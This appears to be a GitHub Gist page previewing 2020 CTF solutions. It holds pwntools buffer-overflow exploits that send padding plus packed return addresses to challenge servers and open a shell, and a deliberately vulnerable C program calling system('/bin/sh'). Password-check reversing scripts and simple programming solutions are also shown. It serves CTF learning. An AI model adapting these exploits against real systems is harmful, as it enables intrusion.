Skip to content

Instantly share code, notes, and snippets.

View CyberYoddhaCTF_2020_binary-exploitation_overflow3_exploit.py
#!/usr/bin/env python2
from pwn import *
import struct
r = remote("cyberyoddha.baycyber.net",10003)
payload="A"*16
payload+=struct.pack("<I",0xd3adb33f)
#print payload
r.sendline(payload)
View CyberYoddhaCTF_2020_binary-exploitation_overflow2_exploit.py
#!/usr/bin/env python2
from pwn import *
b=ELF("./Overflow2")
r=remote("cyberyoddha.baycyber.net",10002)
payload='a'*28
payload+='r\x91\x04\x08'
r.sendline(payload)
r.interactive()
View ieeectf_2020_binary-exploitation_binary1.py
#!/usr/bin/env python2
from pwn import *
import struct
r=remote("chall.ieeevit.org",9000)
r.sendline("./locked")
print r.recv()
payload="a"*20
payload+=struct.pack("I",0x08049192)
View CyberYoddhaCTF_2020_binary-exploitation_overflow2.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void run_shell(){
system("/bin/sh");
}
void vuln(){
char buf[16];
View CyberYoddhaCTF_2020_reverse-engineering_password3.py
import base64
def checkPassword(password):
if(len(password) != 40):
return False
newPass = list(password)
for i in range(0,40):
newPass[i] = chr(ord(newPass[i]) ^ 0x55)
finalPass = "".join(newPass)
passBytes = finalPass.encode("ascii")
View CyberYoddhaCTF_2020_reverse-engineering_password2.py
import random
def checkPassword(password):
if(len(password) != 47):
return False
newPass = list(password)
for i in range(0,9):
newPass[i] = password[i]
for i in range(9,24):
newPass[i] = password[32-i]
View CyberYoddhaCTF_2020_reverse-engineering_password1.py
import random
def checkPassword(password):
if(len(password) != 43):
return False
if(password[26] == 'r' and
password[33] == 't' and
password[32] == '3' and
password[16] == '3' and
password[4] == 'F' and
View HacktoberCTF-2020_Programming_Stairway-to-Hell_ape.py
#!/usr/bin/env python3
i=666
data=""
for x in range(1,31):
for y in range(x):
data+="{} ".format(i)
i+=1
print(str(data.rstrip()))
View HacktoberCTF-2020_Programming_RedRum_ape.py
#!/usr/bin/env python3
integers = [str(x) for x in range(1,501)]
divider = [3,5]
for x in range(integers.__len__()):
if int(integers[x])%3==0 and int(integers[x])%5==0:
integers[x]="RedRum"
continue
elif int(integers[x])%3==0:
View damCTF-2020_web_hacker-camp_app.min.js
(function(s, objectName) {
setupLinks = function() {
if (s.admin) {
var sl = document.getElementsByClassName("student-link");
for (i = 0; i < sl.length; i++) {
let name = sl[i].innerHTML;
sl[i].style.cursor = 'pointer';
sl[i].addEventListener("click", function() {
window.location = '/update-' + objectName + '/' + this.dataset.id;
});